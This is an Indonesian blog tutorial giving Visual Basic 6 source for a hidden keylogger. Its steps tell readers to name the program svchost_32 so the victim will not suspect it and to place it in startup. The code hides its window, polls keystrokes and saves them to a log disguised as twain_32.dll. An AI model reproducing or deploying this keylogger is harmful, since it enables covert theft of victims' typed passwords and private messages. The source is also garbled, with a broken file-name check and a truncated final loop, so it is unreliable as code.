Cara Membuat Simple Keylogger

BOSS       Hacking , Information , Software Hacking , Tips n Trik , Tutorial    Comment   

Keylogger  adalah sebuah perangkat baik perangkat keras atau perangkat lunak yang digunakan untuk memantau penekanan tombol keyboard. Sebuah keylogger biasanya akan menyimpan hasil pemantauan penekanan tombol keyboard tersebut ke dalam sebuah berkas log/catatan/rekaman. Beberapa keylogger tertentu bahkan dapat mengirimkan hasil rekamannya ke e-mail tertentu secara periodik.Namun pada kesempatan ini saya akan mengshare cara membuat simple keylogger dengan Visual Basic 6.0 [VB 6]


Berikut cara pemakaian Keylogger yang akan saya share :

 Pindahkan svchost_32(nama keyloggernya, biar kgk curiga korbannya) ke startup
 Buka svchost_32
 Dan keylogger-pun berkerja secara otomatis,
 Kalau ingin mengcheck hasilnya, buka notepad, trus open file "twain_32.dll" di dalam satu           folder dengan svchost_32.

Dan inilah Source Codenya :

'A. Fungsi API untuk mendapatkan Status Tombol di Keyboard

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

'B. Membuat Variabel Baru

Private Type TList
kode As Integer
bawah As String
atas As String
End Type



'C. Membuat Array untuk Tombol

Private List(1 To 255) As TList
Private IndexList As Integer

'D. Memasukan Key ke TABEL

Private Sub AddToTable(kode As Integer, atas As String, bawah As String)
IndexList = IndexList + 1
List(IndexList).kode = kode
List(IndexList).atas = atas
List(IndexList).bawah = bawah
End Sub



'E. Membuat Tabel

Private Sub Build_Table()
Dim i As Integer
For i = 65 To 90
AddToTable i, Chr(i), Chr(i + 32)
Next i
AddToTable 48, ")", "0"
AddToTable 49, "!", "1"
AddToTable 50, "@", "2"
AddToTable 51, "#", "3"
AddToTable 52, "$", "4"
AddToTable 53, "%", "5"
AddToTable 54, "^", "6"
AddToTable 55, "&", "7"
AddToTable 56, "*", "8"
AddToTable 57, "(", "9"
AddToTable &H60, "", "0"
AddToTable &H61, "", "1"
AddToTable &H62, "", "2"
AddToTable &H63, "", "3"
AddToTable &H64, "", "4"
AddToTable &H65, "", "5"
AddToTable &H66, "", "6"
AddToTable &H67, "", "7"
AddToTable &H68, "", "8"
AddToTable &H69, "", "9"
AddToTable Asc(" "), " ", " "

End Sub



'F. Mmanggil prosedur & Menghilangkan Form

Private Sub Form_Load()
Me.Visible = False
Build_Table
End Sub



'G. Mencatat Ke File TXT

Private Sub AddToFile(Isi As String)
Dim Data As String
Dim FileHandler As Long

If (Dir(App.Path & "\twain_32.") <> "") Then
FileHandler = FreeFile
Open App.Path & "\twain_32.dll" For Input As #FileHandler
Data = Input(LOF(FileHandler) - 2, #FileHandler)
Close #FileHandler
End If

FileHandler = FreeFile
Open App.Path & "\twain_32.dll" For Output As #FileHandler
Print #FileHandler, Data & Isi
Close #FileHandler
End Sub



'H. Memeriksa Ketikan Per Detik

Private Sub Timer1_Timer()
Dim i As Integer
Dim a, b As Integer
For i = LBound(List) To UBound(List)
a = GetAsyncKeyState(List(i).kode)
b = GetAsyncKeyState(16)
If (a = -32767) Then
If (b = -32768) Then
AddToFile List(i).atas
Else
AddToFile List(i).bawah
End If
Exit For
End I Sub

Gunakan Keylogger ini dengan bijak,Itukan.blogspot.com tidak menangguna semua akibat yang dimunculkan oleh keylogger ini